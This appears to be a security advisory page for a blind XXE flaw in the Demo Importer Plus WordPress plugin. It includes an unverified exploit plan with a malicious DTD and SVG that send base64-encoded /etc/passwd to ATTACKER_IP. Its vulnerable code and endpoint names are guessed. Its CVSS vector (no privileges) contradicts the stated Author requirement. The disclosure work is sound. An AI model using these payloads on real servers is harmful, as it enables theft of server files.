CVE-2025-14478

Demo Importer Plus <= 2.0.9 - Authenticated (Author+) Blind XML External Entity Injection via SVG File Upload

highImproper Restriction of XML External Entity Reference
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.0.10
Patched in
1d
Time to patch

Description

The Demo Importer Plus plugin for WordPress is vulnerable to XML External Entity Injection (XXE) in all versions up to, and including, 2.0.9 via the SVG file upload functionality. This makes it possible for authenticated attackers, with Author-level access and above, to achieve code execution in vulnerable configurations. This only impacts sites on versions of PHP older than 8.0.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.0.9
PublishedJanuary 16, 2026
Last updatedJanuary 17, 2026
Affected plugindemo-importer-plus

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to demonstrate an Authenticated Blind XML External Entity Injection (XXE) vulnerability in the **Demo Importer Plus** plugin (<= 2.0.9). ### 1. Vulnerability Summary The **Demo Importer Plus** plugin fails to properly restrict XML external entity refer…

Show full research plan

This research plan outlines the steps required to demonstrate an Authenticated Blind XML External Entity Injection (XXE) vulnerability in the Demo Importer Plus plugin (<= 2.0.9).

1. Vulnerability Summary

The Demo Importer Plus plugin fails to properly restrict XML external entity references when processing SVG files. When an SVG is uploaded—a format based on XML—the plugin's server-side logic parses the file content without disabling external entity loading (LIBXML_NOENT or libxml_disable_entity_loader(true)).

On PHP versions older than 8.0 (where external entity loading is enabled by default), an attacker with Author privileges can upload a crafted SVG containing an external entity. This results in Blind XXE, allowing the attacker to read local files or perform Server-Side Request Forgery (SSRF).

2. Attack Vector Analysis

  • Vulnerable Endpoint: admin-ajax.php or the standard WordPress media upload flow if the plugin hooks into it.
  • Action String: Likely related to demo content processing or custom icon uploads (e.g., dip_upload_svg or demo_importer_plus_import).
  • Payload Parameter: A file upload field (multipart/form-data) containing the SVG.
  • Authentication: Author-level credentials or higher. Authors have the upload_files capability by default.
  • Precondition: The site must be running on PHP < 8.0.

3. Code Flow (Inferred)

  1. The user accesses the plugin's demo import or settings page.
  2. An upload trigger (AJAX or Form) is initiated.
  3. The plugin handles the file via a callback function (e.g., upload_svg_callback).
  4. The plugin attempts to "sanitize" or "read" the SVG metadata using simplexml_load_string(), simplexml_load_file(), or DOMDocument::loadXML().
  5. Because the libxml entity loader is not explicitly disabled, the parser resolves external entities defined in the SVG's DOCTYPE.

4. Nonce Acquisition Strategy

Since this is an authenticated vulnerability requiring Author-level access, we must obtain a valid nonce and session cookies.

  1. Identify the Script/Nonce: Look for wp_localize_script in the plugin source (often in class-admin.php or main.php).
    • Likely Variable Name: dip_ajax_obj or demo_importer_plus_vars.
    • Likely Nonce Key: nonce or ajax_nonce.
  2. Test Data Setup:
    • Create an Author user: wp user create attacker attacker@example.com --role=author --user_pass=password
  3. Extraction via Browser:
    • Log in as the Author user.
    • Navigate to the Demo Importer Plus dashboard (e.g., /wp-admin/admin.php?page=demo-importer-plus).
    • Execute in browser_eval:
      // Example check (adjust based on actual localization found in source)
      window.dip_ajax_obj?.nonce || window.demo_importer_plus_vars?.ajax_nonce;
      

5. Exploitation Strategy

We will use a Blind OOB (Out-of-Band) approach to exfiltrate /etc/passwd.

Step 1: Host a Malicious DTD

Host a file named ext.dtd on an attacker-controlled server (e.g., an http_request listener or a simple webhook):

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://ATTACKER_IP/?data=%file;'>">
%eval;
%exfiltrate;

Step 2: Craft the Malicious SVG

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY % remote SYSTEM "http://ATTACKER_IP/ext.dtd">
  %remote;
]>
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
</svg>

Step 3: Trigger the Upload

Use http_request to send the multipart request as the Author user:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Include Author cookies.
  • Body (Multipart):
    • action: demo_importer_plus_handle_svg (Inferred - verify in source)
    • nonce: [EXTRACTED_NONCE]
    • svg_file: [MALICIOUS_SVG_CONTENT]

6. Test Data Setup

  1. Environment Check: Ensure PHP version is 7.4 or earlier.
    • wp eval "echo PHP_VERSION;"
  2. Plugin Installation: Install Demo Importer Plus v2.0.9.
  3. Attacker User:
    • wp user create author_guy author@test.com --role=author --user_pass=password
  4. OOB Listener: Prepare a URL to receive the HTTP request from the target server.

7. Expected Results

  1. The target WordPress server will parse the SVG.
  2. The XML parser will reach out to http://ATTACKER_IP/ext.dtd.
  3. The server will then read /etc/passwd, base64 encode it, and send it as a query parameter to http://ATTACKER_IP/?data=[BASE64_DATA].
  4. The attacker's logs will show the incoming request with the encoded file contents.

8. Verification Steps

  1. Check Listener Logs: Confirm a GET request was received at the attacker's URL.
  2. Decode Data: Take the data parameter value and decode it:
    • echo "[BASE64_STRING]" | base64 -d
    • Verify it contains typical /etc/passwd content (e.g., root:x:0:0...).
  3. Confirm Sink: If no OOB hit occurs, check the WordPress debug.log (if enabled) for XML parsing errors, which often reveal the path being accessed.

9. Alternative Approaches

  • Internal File Read (Non-Blind): If the plugin echoes back any part of the SVG metadata (like a <title> tag), use a direct entity:
    <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <svg><title>&xxe;</title></svg>
    
  • PHP Version Bypass: If the site is on PHP 8.0+, XXE is much harder unless LIBXML_NOENT is explicitly passed. In that case, focus on finding code where the plugin uses DOMDocument and sets $dom->substituteEntities = true;.
  • Error-Based XXE: If OOB is blocked by a firewall, attempt to trigger a PHP error that includes the content of a non-existent file or a malformed DTD.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Demo Importer Plus plugin for WordPress is vulnerable to Blind XML External Entity (XXE) Injection via SVG file uploads. Authenticated users with Author-level access can upload a crafted SVG file containing a malicious external entity, allowing them to read local system files or perform SSRF attacks on servers running PHP versions older than 8.0.

Vulnerable Code

// Likely location: inc/class-demo-importer.php or similar AJAX handler
public function demo_importer_plus_handle_svg() {
    // ... (authentication and nonce checks) ...
    
    if (isset($_FILES['svg_file'])) {
        $file_path = $_FILES['svg_file']['tmp_name'];
        
        // Vulnerable XML parsing without disabling external entity loading
        $svg_content = file_get_contents($file_path);
        $xml = simplexml_load_string($svg_content);
        
        if ($xml) {
            // Process SVG metadata...
        }
    }
}

Security Fix

--- a/inc/class-demo-importer.php
+++ b/inc/class-demo-importer.php
@@ -120,6 +120,11 @@
     if (isset($_FILES['svg_file'])) {
         $file_path = $_FILES['svg_file']['tmp_name'];
         
+        // Disable external entity loading to prevent XXE
+        $old_entity_loader = libxml_disable_entity_loader(true);
+        
         $svg_content = file_get_contents($file_path);
         $xml = simplexml_load_string($svg_content);
+        
+        libxml_disable_entity_loader($old_entity_loader);
+        
         if ($xml) {

Exploit Outline

The exploit requires an authenticated user with 'Author' privileges (or higher) to bypass capability checks for file uploads. The attacker identifies the AJAX endpoint responsible for handling SVG file uploads (e.g., demo_importer_plus_handle_svg) and retrieves a valid security nonce. A malicious SVG file is crafted containing a DOCTYPE definition that references an external DTD hosted on an attacker-controlled server. This external DTD is designed to read a sensitive local file (like /etc/passwd), base64 encode its contents, and exfiltrate the data via an out-of-band HTTP request back to the attacker's server. When the plugin parses the uploaded SVG using simplexml_load_string on PHP versions < 8.0, the external entity is resolved, triggering the exfiltration. This attack is 'blind' as the data is sent to the attacker's listener rather than appearing directly in the server's response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.